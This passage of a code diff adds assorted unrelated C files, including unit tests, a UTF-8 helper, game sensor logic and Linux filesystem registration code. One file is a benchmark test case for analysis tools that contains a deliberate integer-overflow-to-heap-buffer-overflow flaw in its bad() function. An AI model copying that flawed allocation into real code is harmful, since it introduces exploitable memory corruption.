if(lockerStatus3 == LOCK) + uartSendStr("L3A\r\n"); + else + uartSendStr("L3B\r\n"); + } + break; + } +} +void lockerInit() +{ + locker1 = 1; + locker2 = 1; + locker3 = 1; +} diff --git a/pool/shard011/C/0141893_seconds_datetime_test.c b/pool/shard011/C/0141893_seconds_datetime_test.c new file mode 100644 index 0000000000000000000000000000000000000000..0775a39377108cbd1f65c4d9f84d6959dca68a64 --- /dev/null +++ b/pool/shard011/C/0141893_seconds_datetime_test.c @@ -0,0 +1,118 @@ +#include "seconds_datetime.h" +#include "unity_fixture.h" + +/* ipython code +In [1]: import datetime +In [2]: t0=datetime.datetime(2000,1,1,0,0,0) +In [3]: t1=datetime.datetime(2013,12,8,19,35,55) +In [4]: t1.weekday() +Out[4]: 6 +In [5]: (t1-t0).total_seconds() +Out[5]: 439846555.0 +*/ + + +TEST_GROUP(seconds_datetime); + +TEST_SETUP(seconds_datetime) { +} + +TEST_TEAR_DOWN(seconds_datetime) { +} + +TEST(seconds_datetime, from_seconds_to_datetime) { + seconds_t seconds; + datetime_t t; + + seconds = 439846555; + TEST_ASSERT(seconds_to_datetime(&t, seconds)); + TEST_ASSERT_EQUAL(13, t.year); + TEST_ASSERT_EQUAL(12, t.month); + TEST_ASSERT_EQUAL(8, t.day); + TEST_ASSERT_EQUAL(19, t.hour); + TEST_ASSERT_EQUAL(35, t.minute); + TEST_ASSERT_EQUAL(55, t.second); + TEST_ASSERT_EQUAL(6, t.weekday); +} + +TEST(seconds_datetime, from_datetime_to_seconds) { + seconds_t seconds = 439846555; + datetime_t t = { + .year = 13, + .month = 12, + .day = 8, + .hour = 19, + .minute = 35, + .second = 55, + .weekday = 6, + }; + + TEST_ASSERT(datetime_to_seconds(&seconds, &t)); + TEST_ASSERT_EQUAL(439846555, seconds); +} + +TEST(seconds_datetime, from_datetime_to_seconds_with_invalid_datetime) { + seconds_t seconds = 439846555; + datetime_t t = { + .year = 13, + .month = 12, + .day = 8, + .hour = 19, + .minute = 35 - 1, // sub 1 minute + .second = 55 + 60, // add 60 seconds + .weekday = 6, + }; + TEST_ASSERT_FALSE(datetime_to_seconds(&seconds, &t)); +} + +TEST(seconds_datetime, null_paramters) { + seconds_t seconds = 439846555; + datetime_t t = { + .year = 13, + .month = 12, + .day = 8, + .hour = 19, + .minute = 35, + .second = 55, + .weekday = 6, + }; + + TEST_ASSERT_FALSE(datetime_to_seconds(0, 0)); + TEST_ASSERT_FALSE(datetime_to_seconds(&seconds, 0)); + TEST_ASSERT_FALSE(datetime_to_seconds(0, &t)); + TEST_ASSERT_FALSE(seconds_to_datetime(0, seconds)); +} + +TEST(seconds_datetime, datetime_is_valid) { + seconds_t seconds; + datetime_t t; + + seconds = 439846555; + TEST_ASSERT(seconds_to_datetime(&t, seconds)); + TEST_ASSERT(datetime_is_valid(&t, 0)); + TEST_ASSERT(datetime_is_valid(&t, 1)); + + TEST_ASSERT(seconds_to_datetime(&t, seconds)); + t.weekday = 7; + TEST_ASSERT(datetime_is_valid(&t, 0)); + TEST_ASSERT_FALSE(datetime_is_valid(&t, 1)); + + TEST_ASSERT(seconds_to_datetime(&t, seconds)); + t.hour = 24; + TEST_ASSERT_FALSE(datetime_is_valid(&t, 0)); + TEST_ASSERT_FALSE(datetime_is_valid(&t, 1)); + + TEST_ASSERT(seconds_to_datetime(&t, seconds)); + t.month = 13; + TEST_ASSERT_FALSE(datetime_is_valid(&t, 0)); + TEST_ASSERT_FALSE(datetime_is_valid(&t, 2)); +} + + +TEST_GROUP_RUNNER(seconds_datetime) { + RUN_TEST_CASE(seconds_datetime, from_seconds_to_datetime); + RUN_TEST_CASE(seconds_datetime, from_datetime_to_seconds); + RUN_TEST_CASE(seconds_datetime, from_datetime_to_seconds_with_invalid_datetime); + RUN_TEST_CASE(seconds_datetime, null_paramters); +} + diff --git a/pool/shard011/C/0141894_udpsrvsessiontest.c b/pool/shard011/C/0141894_udpsrvsessiontest.c new file mode 100644 index 0000000000000000000000000000000000000000..eb5b1b57ac342d3f087e909e02493538b1c8e864 --- /dev/null +++ b/pool/shard011/C/0141894_udpsrvsessiontest.c @@ -0,0 +1,86 @@ +/*************************************************************************** + * udpsrvsessiontest.c + * + * VPMN - Virtual Private Mesh Network + * Copyright 2008 Pau Rodriguez-Estivill + * + ****************************************************************************/ + +/* + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ +#include +#include +#include +#include + +#include +#include + + +#include "../src/debug.h" +#include "../src/config.h" +#include "../src/udpsrvsession.h" +#include "../src/udpsrvdtls.h" +#include "../src/srv.h" + +int main() +{ + config_load(""); + char buffer[UDPBUFFERSIZE], bufferout[TUNBUFFERSIZE]; + int buffer_len, bufferout_len; + struct udpsrvsession_s *udpsession; + struct sockaddr_in addr; + struct sockaddr_in *addr2; + socklen_t addr_len; + log_debug("Starting...\n"); + struct sockaddr_in bind_addr; + bzero(&bind_addr, sizeof(bind_addr)); + udpsrv_fd = socket(PF_INET, SOCK_DGRAM, 0); + bind_addr.sin_family = AF_INET; + bind_addr.sin_addr.s_addr = htonl(INADDR_ANY); + bind_addr.sin_port = htons(port_udp); + if (bind(udpsrv_fd, (struct sockaddr *) &bind_addr, sizeof(bind_addr)) != + 0) + log_error("Bind error\n"); + log_debug("Listening...\n"); + while (1) + { + addr_len = sizeof(addr); + bzero(&addr, addr_len); + buffer_len = + recvfrom(udpsrv_fd, buffer, sizeof(buffer), 0, + (struct sockaddr *) &(addr), &(addr_len)); + addr2 = malloc(sizeof(struct sockaddr_in)); + bcopy(&addr, addr2, addr_len); + udpsession = udpsrvsession_searchcreate(addr2); + bufferout_len = + udpsrvdtls_read(buffer, buffer_len, bufferout, TUNBUFFERSIZE, + udpsession); + if (bufferout_len > 0){ + log_debug("Decoded: %s \n", bufferout); + }else + log_error("No decoded data.\n"); + } +} + +void protocol_sendroutes(const struct peer_s *dstpeer) +{ + log_debug("Sending routes... (not implemented)"); +} + +int protocol_sendpacket(struct udpsrvsession_s *session, const int type){ + log_debug("Sending packet type %d... (not implemented)", type); +} + diff --git a/pool/shard011/C/0141895_CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_rand_11.c b/pool/shard011/C/0141895_CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_rand_11.c new file mode 100644 index 0000000000000000000000000000000000000000..ea1ddda977cc09ec5612422ce14f8bf0fec224b9 --- /dev/null +++ b/pool/shard011/C/0141895_CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_rand_11.c @@ -0,0 +1,143 @@ +/* TEMPLATE GENERATED TESTCASE FILE +Filename: CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_rand_11.c +Label Definition File: CWE680_Integer_Overflow_to_Buffer_Overflow__malloc.label.xml +Template File: sources-sink-11.tmpl.c +*/ +/* + * @description + * CWE: 680 Integer Overflow to Buffer Overflow + * BadSource: rand Set data to result of rand(), which may be zero + * GoodSource: Small number greater than zero that will not cause an integer overflow in the sink + * Sink: + * BadSink : Attempt to allocate array using length value from source + * Flow Variant: 11 Control flow: if(globalReturnsTrue()) and if(globalReturnsFalse()) + * + * */ + +#include "std_testcase.h" + +#ifndef OMITBAD + +void CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_rand_11_bad() +{ + int data; + /* Initialize data */ + data = -1; + if(globalReturnsTrue()) + { + /* POTENTIAL FLAW: Set data to a random value */ + data = RAND32(); + } + { + size_t i; + int *intPointer; + /* POTENTIAL FLAW: if data * sizeof(int) > SIZE_MAX, overflows to a small value + * so that the for loop doing the initialization causes a buffer overflow */ + intPointer = (int*)malloc(data * sizeof(int)); + if (intPointer == NULL) {exit(-1);} + for (i = 0; i < (size_t)data; i++) + { + intPointer[i] = 0; /* Potentially writes beyond the boundary of intPointer */ + } + printIntLine(intPointer[0]); + free(intPointer); + } +} + +#endif /* OMITBAD */ + +#ifndef OMITGOOD + +/* goodG2B1() - use goodsource and badsink by changing the globalReturnsTrue() to globalReturnsFalse() */ +static void goodG2B1() +{ + int data; + /* Initialize data */ + data = -1; + if(globalReturnsFalse()) + { + /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */ + printLine("Benign, fixed string"); + } + else + { + /* FIX: Set data to a relatively small number greater than zero */ + data = 20; + } + { + size_t i; + int *intPointer; + /* POTENTIAL FLAW: if data * sizeof(int) > SIZE_MAX, overflows to a small value + * so that the for loop doing the initialization causes a buffer overflow */ + intPointer = (int*)malloc(data * sizeof(int)); + if (intPointer == NULL) {exit(-1);} + for (i = 0; i < (size_t)data; i++) + { + intPointer[i] = 0; /* Potentially writes beyond the boundary of intPointer */ + } + printIntLine(intPointer[0]); + free(intPointer); + } +} + +/* goodG2B2() - use goodsource and badsink by reversing the blocks in the if statement */ +static void goodG2B2() +{ + int data; + /* Initialize data */ + data = -1; + if(globalReturnsTrue()) + { + /* FIX: Set data to a relatively small number greater than zero */ + data = 20; + } + { + size_t i; + int *intPointer; + /* POTENTIAL FLAW: if data * sizeof(int) > SIZE_MAX, overflows to a small value + * so that the for loop doing the initialization causes a buffer overflow */ + intPointer = (int*)malloc(data * sizeof(int)); + if (intPointer == NULL) {exit(-1);} + for (i = 0; i < (size_t)data; i++) + { + intPointer[i] = 0; /* Potentially writes beyond the boundary of intPointer */ + } + printIntLine(intPointer[0]); + free(intPointer); + } +} + +void CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_rand_11_good() +{ + goodG2B1(); + goodG2B2(); +} + +#endif /* OMITGOOD */ + +/* Below is the main(). It is only used when building this testcase on + * its own for testing or for building a binary to use in testing binary + * analysis tools. It is not used when compiling all the testcases as one + * application, which is how source code analysis tools are tested. + */ + +#ifdef INCLUDEMAIN + +int main(int argc, char * argv[]) +{ + /* seed randomness */ + srand( (unsigned)time(NULL) ); +#ifndef OMITGOOD + printLine("Calling good()..."); + CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_rand_11_good(); + printLine("Finished good()"); +#endif /* OMITGOOD */ +#ifndef OMITBAD + printLine("Calling bad()..."); + CWE680_Integer_Overflow_to_Buffer_Overflow__malloc_rand_11_bad(); + printLine("Finished bad()"); +#endif /* OMITBAD */ + return 0; +} + +#endif diff --git a/pool/shard011/C/0141896_utf8.c b/pool/shard011/C/0141896_utf8.c new file mode 100644 index 0000000000000000000000000000000000000000..d237eb2211f8ba414197c225acbf422fa150b397 --- /dev/null +++ b/pool/shard011/C/0141896_utf8.c @@ -0,0 +1,170 @@ +/**********************************************************************************************/ +/* The MIT License */ +/* */ +/* Copyright 2016-2016 Twitch Interactive, Inc. or its affiliates. All Rights Reserved. */ +/* */ +/* Permission is hereby granted, free of charge, to any person obtaining a copy */ +/* of this software and associated documentation files (the "Software"), to deal */ +/* in the Software without restriction, including without limitation the rights */ +/* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell */ +/* copies of the Software, and to permit persons to whom the Software is */ +/* furnished to do so, subject to the following conditions: */ +/* */ +/* The above copyright notice and this permission notice shall be included in */ +/* all copies or substantial portions of the Software. */ +/* */ +/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR */ +/* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, */ +/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE */ +/* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER */ +/* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, */ +/* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN */ +/* THE SOFTWARE. */ +/**********************************************************************************************/ + + + +#include "utf8.h" +#include + +const utf8_char_t* utf8_char_next (const char* s) +{ + if (0x80 == (s[0]&0xC0)) { ++s; } + + return s; +} + +// returnes the length of the char in bytes +size_t utf8_char_length (const utf8_char_t* c) +{ + // count null term as zero size + if (0x00 == c[0]) { return 0; } + + if (0x00 == (c[0]&0x80)) { return 1; } + + if (0xC0 == (c[0]&0xE0) && 0x80 == (c[1]&0xC0)) { return 2; } + + if (0xE0 == (c[0]&0xF0) && 0x80 == (c[1]&0xC0) && 0x80 == (c[2]&0xC0)) { return 3; } + + if (0xF0 == (c[0]&0xF8) && 0x80 == (c[1]&0xC0) && 0x80 == (c[2]&0xC0) && 0x80 == (c[3]&0xC0)) { return 4; } + + return 0; +} + +// returns length of the string in bytes +// size is number of charcter to count (0 to count until NULL term) +size_t utf8_string_length (const utf8_char_t* data, utf8_size_t size) +{ + size_t char_length, byts = 0; + + if (0 == size) { + size = utf8_char_count (data,0); + } + + for (; 0 < size ; --size) { + if (0 == (char_length = utf8_char_length (data))) { + break; + } + + data += char_length; + byts += char_length; + } + + return byts; +} + +size_t utf8_char_copy (utf8_char_t* dst, const utf8_char_t* src) +{ + size_t bytes = utf8_char_length (src); + + if (bytes&&dst) { + memcpy (dst,src,bytes); + dst[bytes] = '\0'; + } + + return bytes; +} + +// returnes the number of utf8 charcters in a string given the number of bytes +// to count until the a null terminator, pass 0 for size +utf8_size_t utf8_char_count (const char* data, size_t size) +{ + size_t i, bytes = 0; + utf8_size_t count = 0; + + if (0 == size) { + size = strlen (data); + } + + for (i = 0 ; i < size ; ++count, i += bytes) { + if (0 == (bytes = utf8_char_length (&data[i]))) { + break; + } + } + + return count; +} + +// returnes the length of the line in bytes triming not printable charcters at the end +size_t utf8_trimmed_length (const char* data, size_t size) +{ + for (; 0 < size && ' ' >= (uint8_t) data[size-1] ; --size) { } + + return size; +} + +// returns the length in bytes of the line including the new line charcter(s) +// auto detects between windows(CRLF), unix(LF), mac(CR) and riscos (LFCR) line endings +size_t utf8_line_length (const char* data) +{ + size_t len = 0; + + for (len = 0; 0 != data[len]; ++len) { + if ('\r' == data[len]) { + if ('\n' == data[len+1]) { + return len + 2; // windows + } else { + return len + 1; // unix + } + } else if ('\n' == data[len]) { + if ('\r' == data[len+1]) { + return len + 2; // riscos + } else { + return len + 1; // macos + } + } + } + + return len; +} + +// returns number of chars to include before split +utf8_size_t utf8_wrap_length (const utf8_char_t* data, utf8_size_t size) +{ + // Set split_at to size, so if a split point cna not be found, retuns the size passed in + size_t char_length, char_count, split_at = size; + + for (char_count = 0 ; char_count <= size ; ++char_count) { + if (' ' >= (*data)) { + split_at = char_count; + } + + char_length = utf8_char_length (data); + data += char_length; + } + + return split_at; +} + +int utf8_line_count (const utf8_char_t* data) +{ + size_t len = 0; + int count = 0; + + do { + len = utf8_line_length (data); + data += len; ++count; + } while (0= 0 && i < aln->naln; i += inc) { + int ir1 = mod_int2_get(&aln->ialn, i, protein1); + int ir2 = mod_int2_get(&aln->ialn, i, protein2); + /* If residues at *both* positions, increase distance to gap */ + if (ir1 > 0 && ir2 > 0) { + gapdist++; + /* Otherwise, if residue at only one position, we've found the gap */ + } else if (ir1 > 0 || ir2 > 0) { + break; + } + /* Otherwise, there are gaps in both sequences. Skip over it. */ + } + return gapdist; +} + +/** Get distance to a gap from the given alignment position. */ +static int gap_distance(const struct mod_alignment *aln, int protein1, + int protein2, int alnpos) +{ + return MIN(gap_distance_dir(aln, protein1, protein2, alnpos, 1), + gap_distance_dir(aln, protein1, protein2, alnpos, -1)); +} + +static int getbin(const struct mod_alignment *aln, int protein1, int protein2, + int alnpos, struct mdt_properties *prop, + const struct mdt_feature *feat, + const struct mdt_library *mlib, + const struct mod_libraries *libs, GError **err) +{ + float f = gap_distance(aln, protein1, protein2, alnpos); + return feat_to_bin(f, feat); +} + +static int avgetbin(const struct mod_alignment *aln, int protein1, int protein2, + int alnpos1, int alnpos2, struct mdt_properties *prop, + const struct mdt_feature *feat, + const struct mdt_library *mlib, + const struct mod_libraries *libs, GError **err) +{ + float f1 = gap_distance(aln, protein1, protein2, alnpos1); + float f2 = gap_distance(aln, protein1, protein2, alnpos2); + return feat_to_bin(0.5 * (f1 + f2), feat); +} + +int mdt_feature_gap_distance(struct mdt_library *mlib, int protein1, + int protein2, GError **err) +{ + return mdt_feature_aligned_residue_add(mlib, "Distance from a gap", + MOD_MDTC_NONE, protein1, protein2, + getbin, NULL, NULL, err); +} + +int mdt_feature_average_gap_distance(struct mdt_library *mlib, int protein1, + int protein2, GError **err) +{ + return mdt_feature_aligned_residue_pair_add(mlib, + "Average distance from a gap", + MOD_MDTC_NONE, protein1, protein2, + FALSE, avgetbin, NULL, NULL, err); +} diff --git a/pool/shard011/C/0141898_test-vecutils.c b/pool/shard011/C/0141898_test-vecutils.c new file mode 100644 index 0000000000000000000000000000000000000000..5964a7620d8a013dd85d04ab1a43a4b5beeed8e9 --- /dev/null +++ b/pool/shard011/C/0141898_test-vecutils.c @@ -0,0 +1,65 @@ +#include "aubio.h" +#include "utils_tests.h" + +void assert_fvec_all_almost_equal(fvec_t *vec, smpl_t scalar, smpl_t err) +{ + uint_t i; + for (i = 0; i < vec->length; i++) { + assert( fabs(vec->data[i] - scalar) < (smpl_t)err ); + } +} + +int main (void) +{ + uint_t length = 10; + + fvec_t * vec = new_fvec(length); + + fvec_set_all(vec, 2); + fvec_exp(vec); + assert_fvec_all_almost_equal(vec, exp(2), 1e-10); + + fvec_set_all(vec, 0); + fvec_cos(vec); + assert_fvec_all_almost_equal(vec, 1., 1e-10); + + fvec_set_all(vec, 0); + fvec_sin(vec); + assert_fvec_all_almost_equal(vec, 0., 1e-10); + + fvec_set_all(vec, -1); + fvec_abs(vec); + assert_fvec_all_almost_equal(vec, 1., 1e-10); + + fvec_set_all(vec, 4); + fvec_sqrt(vec); + assert_fvec_all_almost_equal(vec, 2., 1e-10); + + fvec_set_all(vec, 10.); + fvec_log10(vec); + assert_fvec_all_almost_equal(vec, 1., 1e-10); + + fvec_set_all(vec, 1.); + fvec_log(vec); + assert_fvec_all_almost_equal(vec, 0., 1e-10); + + fvec_set_all(vec, 1.6); + fvec_floor(vec); + assert_fvec_all_almost_equal(vec, 1., 1e-10); + + fvec_set_all(vec, 1.6); + fvec_ceil(vec); + assert_fvec_all_almost_equal(vec, 2., 1e-10); + + fvec_set_all(vec, 1.6); + fvec_round(vec); + assert_fvec_all_almost_equal(vec, 2., 1e-10); + + fvec_set_all(vec, 2); + fvec_pow(vec, 3); + assert_fvec_all_almost_equal(vec, 8., 1e-10); + + if (vec) + del_fvec(vec); + return 0; +} diff --git a/pool/shard011/C/0141899_UVA11650.c b/pool/shard011/C/0141899_UVA11650.c new file mode 100644 index 0000000000000000000000000000000000000000..16db17afc30378b478c4b7f8b9a53ec12d69c2f2 --- /dev/null +++ b/pool/shard011/C/0141899_UVA11650.c @@ -0,0 +1,44 @@ +/******************************************************* + * Author: Nguyen Truong Duy + *******************************************************/ + +/* Methodology: + * - Key observation: the real time and the mirror time sum up to 12:00 or 24:00 + */ + +#include +#include +#include + +#define MAX_SIZE 10 + +int main(void) { + char hhmm[MAX_SIZE + 1]; + char *token; + int numCases, hour, minute, mirrorHour, mirrorMinute; + + scanf("%d", &numCases); + while (numCases--) { + scanf("%s", hhmm); + + token = strtok(hhmm, ":"); + mirrorHour = atoi(token); + token = strtok(NULL, ":"); + mirrorMinute = atoi(token); + + minute = 60 - mirrorMinute; + hour = 23 - mirrorHour; + if (minute == 60) { + hour++; + minute = 0; + } + if (hour > 12) { + hour -= 12; + } + + printf("%02d:%02d\n", hour, minute); + } + + return 0; +} + diff --git a/pool/shard011/C/0141900_pilot_ew.c b/pool/shard011/C/0141900_pilot_ew.c new file mode 100644 index 0000000000000000000000000000000000000000..5d61b78650e8e1aed5f697eb94b9ee609f12e324 --- /dev/null +++ b/pool/shard011/C/0141900_pilot_ew.c @@ -0,0 +1,277 @@ +/* + * See Licensing and Copyright notice in naev.h + */ + + +/** + * @file pilot_ew.c + * + * @brief Pilot electronic warfare information. + */ + + +#include "pilot.h" + +#include "naev.h" + +#include + +#include "log.h" +#include "space.h" +#include "player.h" + +static double sensor_curRange = 0.; /**< Current base sensor range, used to calculate + what is in range and what isn't. */ + +#define EVASION_SCALE 1.3225 /**< 1.15 squared. Ensures that ships have higher evasion than hide. */ +#define SENSOR_DEFAULT_RANGE 7500 /**< The default sensor range for all ships. */ + +/** + * @brief Updates the pilot's static electronic warfare properties. + * + * @param p Pilot to update. + */ +void pilot_ewUpdateStatic( Pilot *p ) +{ + /* + * Unlike the other values, heat isn't squared. The ew_hide formula is thus + * equivalent to: ew_base_hide * ew_mass * sqrt(ew_heat) + */ + p->ew_mass = pow2( pilot_ewMass( p->solid->mass ) ); + p->ew_heat = pilot_ewHeat( p->heat_T ); + p->ew_hide = p->ew_base_hide * p->ew_mass * p->ew_heat; + p->ew_evasion = p->ew_hide * EVASION_SCALE; +} + + +/** + * @brief Updates the pilot's dynamic electronic warfare properties. + * + * @param p Pilot to update. + */ +void pilot_ewUpdateDynamic( Pilot *p ) +{ + /* Update hide. */ + p->ew_heat = pilot_ewHeat( p->heat_T ); + p->ew_hide = p->ew_base_hide * p->ew_mass * p->ew_heat; + + /* Update evasion. */ + p->ew_movement = pilot_ewMovement( VMOD(p->solid->vel) ); + p->ew_evasion = p->ew_hide * EVASION_SCALE; +} + + +/** + * @brief Gets the electronic warfare movement modifier for a given velocity. + * + * @param vmod Velocity to get electronic warfare movement modifier of. + * @return The electronic warfare movement modifier. + */ +double pilot_ewMovement( double vmod ) +{ + return 1. + vmod / 100.; +} + + +/** + * @brief Gets the electronic warfare heat modifier for a given temperature. + * + * @param T Temperature of the ship. + * @return The electronic warfare heat modifier. + */ +double pilot_ewHeat( double T ) +{ + return 1. - 0.001 * (T - CONST_SPACE_STAR_TEMP); +} + + +/** + * @brief Gets the electronic warfare mass modifier for a given mass. + * + * @param mass Mass to get the electronic warfare mass modifier of. + * @return The electronic warfare mass modifier. + */ +double pilot_ewMass( double mass ) +{ + return 1. / (.3 + sqrt(mass) / 30. ); +} + + +/** + * @brief Updates the system's base sensor range. + */ +void pilot_updateSensorRange (void) +{ + /* Adjust sensor range based on system interference. */ + /* See: http://www.wolframalpha.com/input/?i=y+%3D+7500+%2F+%28%28x+%2B+200%29+%2F+200%29+from+x%3D0+to+1000 */ + sensor_curRange = SENSOR_DEFAULT_RANGE / ((cur_system->interference + 200) / 200.); + + /* Speeds up calculations as we compare it against vectors later on + * and we want to avoid actually calculating the sqrt(). */ + sensor_curRange = pow2(sensor_curRange); +} + + +/** + * @brief Returns the default sensor range for the current system. + * + * @return Sensor range. + */ +double pilot_sensorRange( void ) +{ + return sensor_curRange; +} + + +/** + * @brief Check to see if a position is in range of the pilot. + * + * @param p Pilot to check to see if position is in their sensor range. + * @param x X position to check. + * @param y Y position to check. + * @return 1 if the position is in range, 0 if it isn't. + */ +int pilot_inRange( const Pilot *p, double x, double y ) +{ + double d, sense; + + /* Get distance. */ + d = pow2(x-p->solid->pos.x) + pow2(y-p->solid->pos.y); + + sense = sensor_curRange * p->ew_detect; + if (d < sense) + return 1; + + return 0; +} + + +/** + * @brief Check to see if a pilot is in sensor range of another. + * + * @param p Pilot who is trying to check to see if other is in sensor range. + * @param target Target of p to check to see if is in sensor range. + * @return 1 if they are in range, 0 if they aren't and -1 if they are detected fuzzily. + */ +int pilot_inRangePilot( const Pilot *p, const Pilot *target ) +{ + double d, sense; + + /* Special case player or omni-visible. */ + if ((pilot_isPlayer(p) && pilot_isFlag(target, PILOT_VISPLAYER)) || + pilot_isFlag(target, PILOT_VISIBLE) || + target->parent == p->id) + return 1; + + /* Get distance. */ + d = vect_dist2( &p->solid->pos, &target->solid->pos ); + + sense = sensor_curRange * p->ew_detect; + if (d * target->ew_evasion < sense) + return 1; + else if (d * target->ew_hide < sense) + return -1; + + return 0; +} + + +/** + * @brief Check to see if a planet is in sensor range of the pilot. + * + * @param p Pilot who is trying to check to see if the planet is in sensor range. + * @param target Planet to see if is in sensor range. + * @return 1 if they are in range, 0 if they aren't. + */ +int pilot_inRangePlanet( const Pilot *p, int target ) +{ + double d; + Planet *pnt; + double sense; + + /* pilot must exist */ + if ( p == NULL ) + return 0; + + /* Get the planet. */ + pnt = cur_system->planets[target]; + + /* target must not be virtual */ + if ( !pnt->real ) + return 0; + + sense = sensor_curRange * p->ew_detect; + + /* Get distance. */ + d = vect_dist2( &p->solid->pos, &pnt->pos ); + + if (d * pnt->hide < sense ) + return 1; + + return 0; +} + +/** + * @brief Check to see if a jump point is in sensor range of the pilot. + * + * @param p Pilot who is trying to check to see if the jump point is in sensor range. + * @param target Jump point to see if is in sensor range. + * @return 1 if they are in range, 0 if they aren't. + */ +int pilot_inRangeJump( const Pilot *p, int i ) +{ + double d; + JumpPoint *jp; + double sense; + double hide; + + /* pilot must exist */ + if ( p == NULL ) + return 0; + + /* Get the jump point. */ + jp = &cur_system->jumps[i]; + + /* We don't want exit-only jumps. */ + if (jp_isFlag(jp, JP_EXITONLY)) + return 0; + + /* Handle hidden jumps separately, as they use a special range parameter. */ + if (jp_isFlag(jp, JP_HIDDEN)) + sense = pow(p->stats.misc_hidden_jump_detect, 2); + else + sense = sensor_curRange * p->ew_jump_detect; + + hide = jp->hide; + + /* Get distance. */ + d = vect_dist2( &p->solid->pos, &jp->pos ); + + if (d * hide < sense) + return 1; + + return 0; +} + +/** + * @brief Calculates the weapon lead (1. is 100%, 0. is 0%).. + * + * @param p Pilot tracking. + * @param t Pilot being tracked. + * @param track Track limit of the weapon. + * @return The lead angle of the weapon. + */ +double pilot_ewWeaponTrack( const Pilot *p, const Pilot *t, double track ) +{ + double limit, lead; + + limit = track * p->ew_detect; + if (t->ew_evasion * t->ew_movement < limit) + lead = 1.; + else + lead = MAX( 0., 1. - 0.5*((t->ew_evasion * t->ew_movement)/limit - 1.)); + return lead; +} + + + diff --git a/pool/shard011/C/0141901_filesystems.c b/pool/shard011/C/0141901_filesystems.c new file mode 100644 index 0000000000000000000000000000000000000000..d44d46130a4549e00b3231e60cc4c87ac7bf5ce7 --- /dev/null +++ b/pool/shard011/C/0141901_filesystems.c @@ -0,0 +1,287 @@ +/* + * linux/fs/filesystems.c + * + * Copyright (C) 1991, 1992 Linus Torvalds + * + * table of configured filesystems + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* + * Handling of filesystem drivers list. + * Rules: + * Inclusion to/removals from/scanning of list are protected by spinlock. + * During the unload module must call unregister_filesystem(). + * We can access the fields of list element if: + * 1) spinlock is held or + * 2) we hold the reference to the module. + * The latter can be guaranteed by call of try_module_get(); if it + * returned 0 we must skip the element, otherwise we got the reference. + * Once the reference is obtained we can drop the spinlock. + */ + +static struct file_system_type *file_systems; +static DEFINE_RWLOCK(file_systems_lock); + +/* WARNING: This can be used only if we _already_ own a reference */ +void get_filesystem(struct file_system_type *fs) +{ + __module_get(fs->owner); +} + +void put_filesystem(struct file_system_type *fs) +{ + module_put(fs->owner); +} + +static struct file_system_type **find_filesystem(const char *name, unsigned len) +{ + struct file_system_type **p; + for (p=&file_systems; *p; p=&(*p)->next) + if (strlen((*p)->name) == len && + strncmp((*p)->name, name, len) == 0) + break; + return p; +} + +/** + * register_filesystem - register a new filesystem + * @fs: the file system structure + * + * Adds the file system passed to the list of file systems the kernel + * is aware of for mount and other syscalls. Returns 0 on success, + * or a negative errno code on an error. + * + * The &struct file_system_type that is passed is linked into the kernel + * structures and must not be freed until the file system has been + * unregistered. + */ + +int register_filesystem(struct file_system_type * fs) +{ + int res = 0; + struct file_system_type ** p; + + BUG_ON(strchr(fs->name, '.')); + if (fs->next) + return -EBUSY; + INIT_LIST_HEAD(&fs->fs_supers); + write_lock(&file_systems_lock); + p = find_filesystem(fs->name, strlen(fs->name)); + if (*p) + res = -EBUSY; + else + *p = fs; + write_unlock(&file_systems_lock); + return res; +} + +EXPORT_SYMBOL(register_filesystem); + +/** + * unregister_filesystem - unregister a file system + * @fs: filesystem to unregister + * + * Remove a file system that was previously successfully registered + * with the kernel. An error is returned if the file system is not found. + * Zero is returned on a success. + * + * Once this function has returned the &struct file_system_type structure + * may be freed or reused. + */ + +int unregister_filesystem(struct file_system_type * fs) +{ + struct file_system_type ** tmp; + + write_lock(&file_systems_lock); + tmp = &file_systems; + while (*tmp) { + if (fs == *tmp) { + *tmp = fs->next; + fs->next = NULL; + write_unlock(&file_systems_lock); + return 0; + } + tmp = &(*tmp)->next; + } + write_unlock(&file_systems_lock); + return -EINVAL; +} + +EXPORT_SYMBOL(unregister_filesystem); + +static int fs_index(const char __user * __name) +{ + struct file_system_type * tmp; + char * name; + int err, index; + + name = getname(__name); + err = PTR_ERR(name); + if (IS_ERR(name)) + return err; + + err = -EINVAL; + read_lock(&file_systems_lock); + for (tmp=file_systems, index=0 ; tmp ; tmp=tmp->next, index++) { + if (strcmp(tmp->name,name) == 0) { + err = index; + break; + } + } + read_unlock(&file_systems_lock); + putname(name); + return err; +} + +static int fs_name(unsigned int index, char __user * buf) +{ + struct file_system_type * tmp; + int len, res; + + read_lock(&file_systems_lock); + for (tmp = file_systems; tmp; tmp = tmp->next, index--) + if (index <= 0 && try_module_get(tmp->owner)) + break; + read_unlock(&file_systems_lock); + if (!tmp) + return -EINVAL; + + /* OK, we got the reference, so we can safely block */ + len = strlen(tmp->name) + 1; + res = copy_to_user(buf, tmp->name, len) ? -EFAULT : 0; + put_filesystem(tmp); + return res; +} + +static int fs_maxindex(void) +{ + struct file_system_type * tmp; + int index; + + read_lock(&file_systems_lock); + for (tmp = file_systems, index = 0 ; tmp ; tmp = 